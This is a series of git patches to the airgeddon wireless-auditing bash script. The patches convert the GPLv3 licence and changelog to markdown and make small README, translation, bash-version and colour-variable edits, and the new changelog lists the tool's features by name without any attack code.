licensors and + authors. + +All other non-permissive additional terms are considered *further restrictions* +within the meaning of section 10. If the Program as you received it, or any +part of it, contains a notice stating that it is governed by this License along +with a term that is a further restriction, you may remove that term. If a +license document contains a further restriction but permits relicensing or +conveying under this License, you may add to a covered work material governed +by the terms of that license document, provided that the further restriction +does not survive such relicensing or conveying. + +If you add terms to a covered work in accord with this section, you must place, +in the relevant source files, a statement of the additional terms that apply to +those files, or a notice indicating where to find the applicable terms. + +Additional terms, permissive or non-permissive, may be stated in the form of a +separately written license, or stated as exceptions; the above requirements +apply either way. + +### 8. Termination. + +You may not propagate or modify a covered work except as expressly provided +under this License. Any attempt otherwise to propagate or modify it is void, +and will automatically terminate your rights under this License (including any +patent licenses granted under the third paragraph of section 11). + +However, if you cease all violation of this License, then your license from a +particular copyright holder is reinstated + + - a) provisionally, unless and until the copyright holder explicitly and + finally terminates your license, and + - b) permanently, if the copyright holder fails to notify you of the + violation by some reasonable means prior to 60 days after the cessation. + +Moreover, your license from a particular copyright holder is reinstated +permanently if the copyright holder notifies you of the violation by some +reasonable means, this is the first time you have received notice of violation +of this License (for any work) from that copyright holder, and you cure the +violation prior to 30 days after your receipt of the notice. + +Termination of your rights under this section does not terminate the licenses +of parties who have received copies or rights from you under this License. If +your rights have been terminated and not permanently reinstated, you do not +qualify to receive new licenses for the same material under section 10. + +### 9. Acceptance Not Required for Having Copies. + +You are not required to accept this License in order to receive or run a copy +of the Program. Ancillary propagation of a covered work occurring solely as a +consequence of using peer-to-peer transmission to receive a copy likewise does +not require acceptance. However, nothing other than this License grants you +permission to propagate or modify any covered work. These actions infringe +copyright if you do not accept this License. Therefore, by modifying or +propagating a covered work, you indicate your acceptance of this License to do +so. + +### 10. Automatic Licensing of Downstream Recipients. + +Each time you convey a covered work, the recipient automatically receives a +license from the original licensors, to run, modify and propagate that work, +subject to this License. You are not responsible for enforcing compliance by +third parties with this License. + +An *entity transaction* is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered work +results from an entity transaction, each party to that transaction who receives +a copy of the work also receives whatever licenses to the work the party's +predecessor in interest had or could give under the previous paragraph, plus a +right to possession of the Corresponding Source of the work from the +predecessor in interest, if the predecessor has it or can get it with +reasonable efforts. + +You may not impose any further restrictions on the exercise of the rights +granted or affirmed under this License. For example, you may not impose a +license fee, royalty, or other charge for exercise of rights granted under this +License, and you may not initiate litigation (including a cross-claim or +counterclaim in a lawsuit) alleging that any patent claim is infringed by +making, using, selling, offering for sale, or importing the Program or any +portion of it. + +### 11. Patents. + +A *contributor* is a copyright holder who authorizes use under this License of +the Program or a work on which the Program is based. The work thus licensed is +called the contributor's *contributor version*. + +A contributor's *essential patent claims* are all patent claims owned or +controlled by the contributor, whether already acquired or hereafter acquired, +that would be infringed by some manner, permitted by this License, of making, +using, or selling its contributor version, but do not include claims that would +be infringed only as a consequence of further modification of the contributor +version. For purposes of this definition, *control* includes the right to grant +patent sublicenses in a manner consistent with the requirements of this +License. + +Each contributor grants you a non-exclusive, worldwide, royalty-free patent +license under the contributor's essential patent claims, to make, use, sell, +offer for sale, import and otherwise run, modify and propagate the contents of +its contributor version. + +In the following three paragraphs, a *patent license* is any express agreement +or commitment, however denominated, not to enforce a patent (such as an express +permission to practice a patent or covenant not to sue for patent +infringement). To *grant* such a patent license to a party means to make such +an agreement or commitment not to enforce a patent against the party. + +If you convey a covered work, knowingly relying on a patent license, and the +Corresponding Source of the work is not available for anyone to copy, free of +charge and under the terms of this License, through a publicly available +network server or other readily accessible means, then you must either + + 1. cause the Corresponding Source to be so available, or + 2. arrange to deprive yourself of the benefit of the patent license for this + particular work, or + 3. arrange, in a manner consistent with the requirements of this License, to + extend the patent license to downstream recipients. + +*Knowingly relying* means you have actual knowledge that, but for the patent +license, your conveying the covered work in a country, or your recipient's use +of the covered work in a country, would infringe one or more identifiable +patents in that country that you have reason to believe are valid. + +If, pursuant to or in connection with a single transaction or arrangement, you +convey, or propagate by procuring conveyance of, a covered work, and grant a +patent license to some of the parties receiving the covered work authorizing +them to use, propagate, modify or convey a specific copy of the covered work, +then the patent license you grant is automatically extended to all recipients +of the covered work and works based on it. + +A patent license is *discriminatory* if it does not include within the scope of +its coverage, prohibits the exercise of, or is conditioned on the non-exercise +of one or more of the rights that are specifically granted under this License. +You may not convey a covered work if you are a party to an arrangement with a +third party that is in the business of distributing software, under which you +make payment to the third party based on the extent of your activity of +conveying the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory patent +license + + - a) in connection with copies of the covered work conveyed by you (or copies + made from those copies), or + - b) primarily for and in connection with specific products or compilations + that contain the covered work, unless you entered into that arrangement, or + that patent license was granted, prior to 28 March 2007. + +Nothing in this License shall be construed as excluding or limiting any implied +license or other defenses to infringement that may otherwise be available to +you under applicable patent law. + +### 12. No Surrender of Others' Freedom. + +If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not excuse +you from the conditions of this License. If you cannot convey a covered work so +as to satisfy simultaneously your obligations under this License and any other +pertinent obligations, then as a consequence you may not convey it at all. For +example, if you agree to terms that obligate you to collect a royalty for +further conveying from those to whom you convey the Program, the only way you +could satisfy both those terms and this License would be to refrain entirely +from conveying the Program. + +### 13. Use with the GNU Affero General Public License. + +Notwithstanding any other provision of this License, you have permission to +link or combine any covered work with a work licensed under version 3 of the +GNU Affero General Public License into a single combined work, and to convey +the resulting work. The terms of this License will continue to apply to the +part which is the covered work, but the special requirements of the GNU Affero +General Public License, section 13, concerning interaction through a network +will apply to the combination as such. + +### 14. Revised Versions of this License. + +The Free Software Foundation may publish revised and/or new versions of the GNU +General Public License from time to time. Such new versions will be similar in +spirit to the present version, but may differ in detail to address new problems +or concerns. + +Each version is given a distinguishing version number. If the Program specifies +that a certain numbered version of the GNU General Public License *or any later +version* applies to it, you have the option of following the terms and +conditions either of that numbered version or of any later version published by +the Free Software Foundation. If the Program does not specify a version number +of the GNU General Public License, you may choose any version ever published by +the Free Software Foundation. + +If the Program specifies that a proxy can decide which future versions of the +GNU General Public License can be used, that proxy's public statement of +acceptance of a version permanently authorizes you to choose that version for +the Program. + +Later license versions may give you additional or different permissions. +However, no additional obligations are imposed on any author or copyright +holder as a result of your choosing to follow a later version. + +### 15. Disclaimer of Warranty. + +THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE +LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER +PARTIES PROVIDE THE PROGRAM *AS IS* WITHOUT WARRANTY OF ANY KIND, EITHER +EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE +QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE +DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR +CORRECTION. + +### 16. Limitation of Liability. + +IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY +COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS +PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, +INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE +THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED +INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE +PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY +HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. + +### 17. Interpretation of Sections 15 and 16. + +If the disclaimer of warranty and limitation of liability provided above cannot +be given local legal effect according to their terms, reviewing courts shall +apply local law that most closely approximates an absolute waiver of all civil +liability in connection with the Program, unless a warranty or assumption of +liability accompanies a copy of the Program in return for a fee. + +## END OF TERMS AND CONDITIONS ### + +### How to Apply These Terms to Your New Programs + +If you develop a new program, and you want it to be of the greatest possible +use to the public, the best way to achieve this is to make it free software +which everyone can redistribute and change under these terms. + +To do so, attach the following notices to the program. It is safest to attach +them to the start of each source file to most effectively state the exclusion +of warranty; and each file should have at least the *copyright* line and a +pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + +If the program does terminal interaction, make it output a short notice like +this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w` and `show c` should show the appropriate +parts of the General Public License. Of course, your program's commands might +be different; for a GUI interface, you would use an *about box*. + +You should also get your employer (if you work as a programmer) or school, if +any, to sign a *copyright disclaimer* for the program, if necessary. For more +information on this, and how to apply and follow the GNU GPL, see +[http://www.gnu.org/licenses/](http://www.gnu.org/licenses/). + +The GNU General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may consider +it more useful to permit linking proprietary applications with the library. If +this is what you want to do, use the GNU Lesser General Public License instead +of this License. But first, please read +[http://www.gnu.org/philosophy/why-not-lgpl.html](http://www.gnu.org/philosophy/why-not-lgpl.html). diff --git a/README.md b/README.md index a2b8b21a1..febc6e61b 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -#airgeddon [![License](https://img.shields.io/badge/License-GPL%20v3%2B-blue.svg?style=flat-square)](https://raw.githubusercontent.com/v1s1t0r1sh3r3/airgeddon/master/LICENSE) +#airgeddon [![License](https://img.shields.io/badge/License-GPL%20v3%2B-blue.svg?style=flat-square)](LICENSE.md) This is a multi-use bash script for Linux systems to audit wireless networks.
![We'll conquer the earth!!][1] @@ -112,11 +112,11 @@ Incompatible with OpenBSD and FreeBSD. They are Unix systems but they have some *-Bash* <- They have no bash. It can be installed, this is not the real problem again :sweat_smile:
*-Wireless tools* <- iwconfig doesn't exists for these systems, they use ifconfig instead and it generates very different outputs -#Disclaimer +#Disclaimer & License This script must be used only for educational purposes and pentesting.
Use it only on your own networks.
We are not responsible of its use.
-This script is under GPLv3 (or later) License. +This script is under GPLv3 (or later) [License](LICENSE.md). #Use Must be launched only using bash (not sh). Example `bash /path/to/airgeddon.sh`
diff --git a/changelog.txt b/changelog.txt index 3e1406a67..516080821 100644 --- a/changelog.txt +++ b/changelog.txt @@ -3,6 +3,7 @@ New system for possible tool aliases checking the requirements Evil Twin attack added: Bettercap-Sslstrip2 and BeEF browser exploitation framework README.md beautified Colors changed. Now blocking errors in red +License file updated to markdown format 5.14 Timeout changed while searching for "bad FCS" to avoid problems in old systems From ccf68f683ce85bef99916323964316cd95bf1004 Mon Sep 17 00:00:00 2001 From: Sotiris Roussis Date: Sat, 14 Jan 2017 17:47:19 +0200 Subject: [PATCH 15/55] Updated Greek translations --- README.md | 2 +- airgeddon.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index febc6e61b..6dc65b698 100644 --- a/README.md +++ b/README.md @@ -83,7 +83,7 @@ We will enumerate the categories and tools. The command can be included in diffe | lighttpd | lighttpd | // | reaver | reaver | | iptables | iptables | // | bully | bully | | bettercap | bettercap | // | pixiewps | pixiewps | -| beef | beef / beef-xss | // | unbuffer | expect | +| beef | beef / beef-xss | // | unbuffer | expect / expect-dev | **Important tip about BeEF** -> The beef software you must install is BeEF (Browser Exploitation Framework). Be careful, Don't confuse with beef (Flexible Brainfuck interpreter). This package has the same name, same executable file name and can lead to confusion. Here is a link to the "good" one installation's page: [BeEF Installation](https://github.com/beefproject/beef/wiki/Installation). **Update tools**: <- *not necessary to work, only used for auto-update* diff --git a/airgeddon.sh b/airgeddon.sh index 3b1618a32..cee56f4a9 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3740,7 +3740,7 @@ function language_strings() { arr["CATALAN",401]="${pending_of_translation} El paquet beef que tens instal·lat no és BeEF (Browser Exploitation Framework). Tens instal·lat Beef (Flexible Brainfuck interpreter). Tots dos executables es diuen igual i pot donar lloc a confusió. Desinstalalo i instal·la el que airgeddon necessita si vols utilitzar aquesta característica. Guia d'instal·lació: ${beef_installation_url}" arr["PORTUGUESE",401]="${pending_of_translation} O beef de ter instalado não é BeEF (Browser Exploitation Framework). Você instalou Beef (Flexible Brainfuck interpreter). Ambos mesmo nome executável e pode levar a confusão. Desinstalá-lo e instalá-lo airgeddon precisa se você quiser usar esse recurso. Guia de Instalação: ${beef_installation_url}" arr["RUSSIAN",401]="${pending_of_translation} Пакет beef вы установили не BeEF (Browser Exploitation Framework). У вас есть Beef (Flexible Brainfuck interpreter) установлен. Оба исполняемые файлы имеют одинаковое имя и может привести к путанице. Удалите его и установить, что airgeddon потребности, если вы хотите использовать эту функцию. Инструкция по установке: ${beef_installation_url}" - arr["GREEK",401]="${pending_of_translation} Το πακέτο beef που έχετε εγκαταστήσει δεν είναι το BeEF (Browser Exploitation Framework). Έχετε Beef (Flexible Brainfuck interpreter) εγκατεστημένο. Και οι δύο εκτελέσιμα έχουν το ίδιο όνομα και μπορεί να οδηγήσει σε σύγχυση. Απεγκαταστήσετε και να εγκαταστήσετε αυτό airgeddon ανάγκες, αν θέλετε να χρησιμοποιήσετε αυτό το χαρακτηριστικό. Οδηγός εγκατάστασης: ${beef_installation_url}" + arr["GREEK",401]="Το πακέτο beef που έχετε εγκαταστημένο δεν είναι το BeEF (Browser Exploitation Framework). Έχετε εγκατεστημένο το Beef (Flexible Brainfuck interpreter). Και τα δύο εκτελέσιμα αρχεία έχουν το ίδιο όνομα και μπορεί να γίνει κάποιο μπέρδεμα. Απεγκαταστήστε το και εγκαταστήστε αυτό που χρειάζεται το airgeddon, αν θέλετε να χρησιμοποιήσετε αυτή την επιλογή. Οδηγός εγκατάστασης: ${beef_installation_url}" case "${3}" in "yellow") From 4439c1f7f65b7757727ddd007d6dea020d71ca4e Mon Sep 17 00:00:00 2001 From: Sotiris Roussis Date: Sat, 14 Jan 2017 17:51:14 +0200 Subject: [PATCH 16/55] Removed unnecessary whitespace from arr["GREEK",401] --- airgeddon.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index cee56f4a9..525f21b04 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3740,7 +3740,7 @@ function language_strings() { arr["CATALAN",401]="${pending_of_translation} El paquet beef que tens instal·lat no és BeEF (Browser Exploitation Framework). Tens instal·lat Beef (Flexible Brainfuck interpreter). Tots dos executables es diuen igual i pot donar lloc a confusió. Desinstalalo i instal·la el que airgeddon necessita si vols utilitzar aquesta característica. Guia d'instal·lació: ${beef_installation_url}" arr["PORTUGUESE",401]="${pending_of_translation} O beef de ter instalado não é BeEF (Browser Exploitation Framework). Você instalou Beef (Flexible Brainfuck interpreter). Ambos mesmo nome executável e pode levar a confusão. Desinstalá-lo e instalá-lo airgeddon precisa se você quiser usar esse recurso. Guia de Instalação: ${beef_installation_url}" arr["RUSSIAN",401]="${pending_of_translation} Пакет beef вы установили не BeEF (Browser Exploitation Framework). У вас есть Beef (Flexible Brainfuck interpreter) установлен. Оба исполняемые файлы имеют одинаковое имя и может привести к путанице. Удалите его и установить, что airgeddon потребности, если вы хотите использовать эту функцию. Инструкция по установке: ${beef_installation_url}" - arr["GREEK",401]="Το πακέτο beef που έχετε εγκαταστημένο δεν είναι το BeEF (Browser Exploitation Framework). Έχετε εγκατεστημένο το Beef (Flexible Brainfuck interpreter). Και τα δύο εκτελέσιμα αρχεία έχουν το ίδιο όνομα και μπορεί να γίνει κάποιο μπέρδεμα. Απεγκαταστήστε το και εγκαταστήστε αυτό που χρειάζεται το airgeddon, αν θέλετε να χρησιμοποιήσετε αυτή την επιλογή. Οδηγός εγκατάστασης: ${beef_installation_url}" + arr["GREEK",401]="Το πακέτο beef που έχετε εγκαταστημένο δεν είναι το BeEF (Browser Exploitation Framework). Έχετε εγκατεστημένο το Beef (Flexible Brainfuck interpreter). Και τα δύο εκτελέσιμα αρχεία έχουν το ίδιο όνομα και μπορεί να γίνει κάποιο μπέρδεμα. Απεγκαταστήστε το και εγκαταστήστε αυτό που χρειάζεται το airgeddon, αν θέλετε να χρησιμοποιήσετε αυτή την επιλογή. Οδηγός εγκατάστασης: ${beef_installation_url}" case "${3}" in "yellow") From dd487e4a7e08f9f6fd72c80afa32883c36b13515 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 14 Jan 2017 21:34:16 +0100 Subject: [PATCH 17/55] Bash version requirement updated to 4.2 --- README.md | 2 +- airgeddon.sh | 2 +- changelog.txt | 1 + 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index febc6e61b..b51f51af0 100644 --- a/README.md +++ b/README.md @@ -32,7 +32,7 @@ This is a multi-use bash script for Linux systems to audit wireless networks.
+Bash version 4.2 or later needed.
Tested on these compatible Linux distros:
*-Kali 2.0, 2016.1, 2016.2 and arm versions (Raspberry Pi)*
diff --git a/airgeddon.sh b/airgeddon.sh index 3b1618a32..d06be290d 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -102,7 +102,7 @@ declare -A possible_alias_names=( standardhandshake_filename="handshake-01.cap" tmpdir="/tmp/" osversionfile_dir="/etc/" -minimum_bash_version_required="4.0" +minimum_bash_version_required="4.2" hashcat3_version="3.0" resume_message=224 abort_question=12 diff --git a/changelog.txt b/changelog.txt index 516080821..d4ea5a155 100644 --- a/changelog.txt +++ b/changelog.txt @@ -4,6 +4,7 @@ Evil Twin attack added: Bettercap-Sslstrip2 and BeEF browser exploitation framew README.md beautified Colors changed. Now blocking errors in red License file updated to markdown format +Updated minimum bash version check (v4.2) 5.14 Timeout changed while searching for "bad FCS" to avoid problems in old systems From 3b72832cca50edaefe98560a2fabb46bdee9c538 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 14 Jan 2017 22:09:10 +0100 Subject: [PATCH 18/55] Small changes on Readme --- README.md | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index fcd58e879..99de61deb 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ #airgeddon [![License](https://img.shields.io/badge/License-GPL%20v3%2B-blue.svg?style=flat-square)](LICENSE.md) This is a multi-use bash script for Linux systems to audit wireless networks.
-![We'll conquer the earth!!][1] +![We'll conquer the earth!!][banner] #Features - Interface mode switcher (Monitor-Managed) keeping selection even on interface name changing. @@ -139,15 +139,16 @@ You can join the project:
-Testing and feedback is needed too.
*For collaborating translators:*
-You can take the strings to translate from the code or you can ask me directly by mail. I'll inform you how to proceed or to add you as a collaborator on github.
+You can take the strings to translate from the code. All the stuff to translate is in "language_strings" function. Ask by mail if you have any doubt. You'll be informed about you how to proceed, you can be added as a collaborator on the project.
*For collaborating developers:*
Debug mode was implemented for faster development skipping intro and initial checks. Use it setting var *"debug_mode"* to 1
Please, respect the tab indentation, code style and the UTF-8 files format only using at the end of the lines LF (not CRLF).
-Airgeddon code is 100% clean of warnings. Use shellcheck to search for errors and warnings on code. <- Thanks xtonousou for the tip :wink:
+Direct push on master is not allowed, and pull requests require revision and approvement.
+Airgeddon code is 100% clean of warnings. Use [Shellcheck](https://github.com/koalaman/shellcheck) to search for errors and warnings on code. <- Thanks xtonousou for the tip :wink:
*For beta testers:*
-You can download the master version or the beta testing version from the development branch called `dev` +You can download the master version or the beta testing version from the development branch called `dev`. Sometimes there are other temporary branches for specific features that can be tested too. #Changelog See [Changelog](changelog.txt) file to review changes. @@ -177,13 +178,13 @@ If you enjoyed the script, feel free to give a donation. Invite me to a coffee t Paypal: *v1s1t0r.1s.h3r3@gmail.com*
Bitcoin: *1AKnTXbomtwUzrm81FRzi5acSSXxGteGTH*

-[![paypal][2]](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=7ELM486P7XKKG) +[![paypal][paypal]](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=7ELM486P7XKKG)   -[![bitcoin][3]](https://blockchain.info/address/1AKnTXbomtwUzrm81FRzi5acSSXxGteGTH) +[![bitcoin][bitcoin]](https://blockchain.info/address/1AKnTXbomtwUzrm81FRzi5acSSXxGteGTH) -[1]: /imgs/airgeddon_banner.png "We'll conquer the earth!!" -[2]: /imgs/paypal_donate.png "Show me the money!" -[3]: /imgs/bitcoin_donate.png "Show me the money!" +[banner]: /imgs/airgeddon_banner.png "We'll conquer the earth!!" +[paypal]: /imgs/paypal_donate.png "Show me the money!" +[bitcoin]: /imgs/bitcoin_donate.png "Show me the money!" [english]: /imgs/us.png "English" [spanish]: /imgs/es.png "Spanish" [french]: /imgs/fr.png "French" From 34c1f6a62c398e57347f3dfd2adb3af6a728d6da Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 14 Jan 2017 22:10:26 +0100 Subject: [PATCH 19/55] Small changes to order color vars --- airgeddon.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 67af99acc..c28cc13ea 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -236,9 +236,9 @@ hashcat_charsets=("?l" "?u" "?d" "?s") #Colors vars green_color="\033[1;32m" +green_color_title="\033[0;32m" red_color="\033[1;31m" red_color_slim="\033[0;031m" -green_color_title="\033[0;32m" blue_color="\033[1;34m" cyan_color="\033[1;36m" brown_color="\033[0;33m" From f37b926dadb73a43f9ae7883998fff9a50155ba6 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 14 Jan 2017 22:22:58 +0100 Subject: [PATCH 20/55] Changelog file updated to markdown format --- CHANGELOG.md | 305 ++++++++++++++++++++++++++++++++++++++++++++++++++ README.md | 2 +- changelog.txt | 305 -------------------------------------------------- 3 files changed, 306 insertions(+), 306 deletions(-) create mode 100644 CHANGELOG.md delete mode 100644 changelog.txt diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 000000000..1830057bc --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,305 @@ +###6.0 + - New system for possible tool aliases checking the requirements + - Evil Twin attack added: Bettercap-Sslstrip2 and BeEF browser exploitation framework + - README.md beautified + - Colors changed. Now blocking errors in red + - License and changelog files updated to markdown format + - Updated minimum bash version check (v4.2) + +###5.14 + - Timeout changed while searching for "bad FCS" to avoid problems in old systems + - WPS Reaver attacks modified to use --no-nacks (-N) argument + - Github issue template updated + - Check added to skip intro if not enough window size + - Tested compatibility with BlackArch 2016.12.29 + +###5.13 + - WPS default timeouts changed + - WPS parameterizable timeouts, users can decide how many seconds for each WPS attack + - More traps handled. Auto restore managed mode on interface after SIGINT/SIGHUP + +###5.12 + - Fixed bug for wash scanning on reaver 1.5.3. Now new method works for all versions because the version doesn't care anymore + +###5.11 + - Custom PIN, bruteforce and Pixie Dust WPS attacks integrated in new parser system + - Fixed bug for wash scanning on custom reaver 1.5.4 for Wifislax + - Some code improvements + +###5.1 + - Integrated online PIN database for "known WPS PINs attack" (reaver and bully) + - Zhao Chunsheng algorithm integrated (computepin) + - Stefan Viehböck algorithm integrated (easybox) + - Some language strings changed + - Fixed bug showing selected charset for hashcat v3.0 on bruteforce offline decrypt attack + +###5.01 + - WPS bruteforce PIN attacks (reaver and bully) + - New system for arm architecture detection + - Compatibility extended to Parrot arm version on Raspberry Pi + - Some WPS attacks improvements + - Compatibility extended for hashcat v3.0 or higher + +###5.0 + - WPS attacks menu added + - WPS scanning based on wash tool. Self-parametrization to avoid "Bad FCS" problem + - WPS Custom PIN association + - WPS Pixie Dust attacks integrated with reaver and bully + - Some code improvements + +###4.32 + - Some code improvements and refactors. Warnings removed based on shellcheck tool + - README.md small modifications + - Fix on language menu selecting greek language + - Fixed problem on renew_ifaces_and_macs_list function when there are interfaces without mac (like some tunnel interfaces) + +###4.31 + - Now optionally on Evil Twin captive portal attack you can choose between to have internet access or to use a "dns trick" + - Fixed bug writing handshake files on some paths + - Added possibility to get back to Evil Twin main menu from the internet interface selection menu + +###4.3 + - Evil Twin attack added: captive portal + - Some language strings changed + - Now initial forwarding state is restored on exit + - Fix for Linux which change interface name to a very different name while getting back to managed from monitor mode + +###4.22 + - Portuguese translation updated (Thank you to "Luan") + - Paypal donate button added on README.md + - Bitcoin hash changed and bitcoin donate button added on README.md + - Tested compatibility with Kali Linux 2016.2 + +###4.21 + - Greek language translation added (Thank you to "xtonousou") + +###4.2 + - Evil Twin attack added: with integrated sniffing using sslstrip + - Evil Twin control window beautified and optimized for small windows + +###4.11 + - Russian language translation added (Thank you to "MiAl") + +###4.1 + - Evil Twin attack added: with integrated sniffing + - Log parsing for Evil Twin attack with sniffing + +###4.03 + - Some compatibility improvements for Raspberry Pi Raspbian Linux + - Additional check for systems which use airmon-zc, now checks for lspci to avoid errors + - Compatibility extended to OpenMandriva Linux + - Compatibility extended to Kali arm version on Raspberry Pi + +###4.02 + - New windows sizes calculation method for better viewing even in small resolutions. Dynamic system + - Fixed bug restarting Network Manager on Arch Linux + - Fixed bug restarting Network Manager using debug mode on some distros + - Suggestion added about possible packet names after failing a dependency check + +###4.01 + - Fixed bug cleaning temp files for Evil Twin attack + +###4.0 + - Evil Twin attack added: Only AP to sniff with external sniffer + - Created under construction message for non finished menu options + - README.md beautified + - Screen resolution correction feature added for some distros + - Some minor improvements and bugfixes + +###3.44 + - Screen resolution detection for optimal windows viewing + - Some language strings changed + - Deleted ods translations file. It was impractical + +###3.43 + - Function created to generate dynamic separators on menus + - Some language strings changed + +###3.42 + - Compatibility extended to Arch Linux + - Compatibility extended to Raspbian Linux for Raspberry Pi + - Additional check for systems which use airmon-zc, now checks for ethtool to avoid errors + - Portuguese language translation added + - Auto-update can be disabled using a var (useful for repositories versions) + - Auto change language feature can be disabled using a var + +###3.41 + - Show network cards chipset while selecting interface + - Some language strings changed + - License updated to GPL3+ + - Added Open Document SpreadSheet for easy translation to be used by collaborating translators + - System of prefixes and colors for hints and strings pending of translation [PoT] + +###3.4 + - Improved regexp to get new interface names after a change + - Fixed bug managing paths containing blank spaces + - New feature, drag and drop files on console window to entering file paths + - New offline decrypting attacks based on cpu hashcat (dictionary, bruteforce and rule based) + - Debug mode for faster development skipping intro and initial checks + - Bash version check improved for future versions + - Exit script code changes to differentiate when script was interrupted + +###3.34 + - Ascii art intro added on script startup (animated flying saucer!!) + - Bug fixed after putting card in monitor mode and the card name changed on some distros + - Compatibility extended to Gentoo, Fedora and Red Hat Linux + +###3.33 + - Bug fixed relaunching script after donwload a new version + - Credits beautified + - Known compatible distros unified in one array + - "No check kill needed" feature method changed. Now based on Network Manager version + - Changes on rfkill method + +###3.32 + - Bash version check simplified + - Bug with long interface names fixed + - Changed trap management, now with buffered messages + - Curl removed from essential tools. Now the script performs a separated check for update tools only used for auto-update + - Compatibility extended to CentOS Linux + +###3.31 + - Check for root permissions after failed essential tools check + - Improved missing optional tools detection method and integration with menus + - Menu separator lines extracted to functions + +###3.3 + - SIGTSTP trap now handled + - Minimum bash version check (v4) + - Some language strings changed + - Non Linux OS check added (Solaris, FreeBSD, OSX) + - Compatibility extended to OpenSUSE Linux + - README.md updated about Mac OSX incompatibility + - Improved OS language detection method + - Fixed bug in auto-update + +###3.23 + - Compatibility extended to Cyborg Hawk Linux + - Needed tools divided, essential and optional. Script can run now with essential tools even without some of the optional tools + - Changed "No check kill needed" feature method. Now improved for Kali and Wifislax future versions + - Bug fixed while checking for updates on slow connections + - README.md beautified + +###3.22 + - Cleaning handshake files now perform some checks to avoid corruption file problem + - Capture files are checked before cracking looking for Handshakes and easy targeting + - Fixed bug checking existence of files + +###3.21 + - Auto-update feature. Script checks for newer version + - Some language strings changed + +###3.2 + - New offline password decrypt menu + - Aircrack option to perform dictionary/bruteforce attacks against capture files + - Removed autoclean after capturing a Handshake file + - Changed version var to airgeddon_version for future version check (auto-update feature) + +###3.11 + - Optional autoclean captured Handshake file feature + - Some language strings changed + +###3.1 + - Restoring initial state of cards on exit feature + - "No check kill needed" feature added while putting card in monitor mode for some distros + - Fixed bug checking tools + +###3.02 + - Cleaning tasks on exit + - Minor code refactor + - Some language strings changed + - Hint method improved + +###3.01 + - Handshake tools menu added + - Handshake capture feature + - Handshake cleaning/optimizing feature + - Random helping hints added (regarding the script zone) + +###3.0 + - New menus, new structure + - New Handshake features preparation (not working yet in this revision) + - Code normalization + +###2.33 + - Catalan language translation added (Thank you to "El Padrino") + +###2.32 + - Autodetect OS language feature added + - Some language strings changed + +###2.31 + - French language translation added (Thank you to "Kcdtv") + - Only one network autoselect bug fixed + +###2.3 + - Compatibility extended to Parrot, Blackarch and Backbox Linux + - Essential tools check improved + - Distro compatibility check improved + - Iwconfig use fix based on version + - Pink color added + +###2.23 + - Read "pause" functions now integrated with language strings + - Title generator extracted to function + - Improvements on colors + - Changelog order changed. New changes now upper + +###2.22 + - Minor print fail in ascii art at credits fixed + - Disclaimer and requirements updated + - Some typo errors fixed + - Changes on compatibility check structure + - Ubuntu and Debian Linux compatibility check added + +###2.21 + - Wifislax 64bits compatibility bug fixed + - Removed version from Readme file + 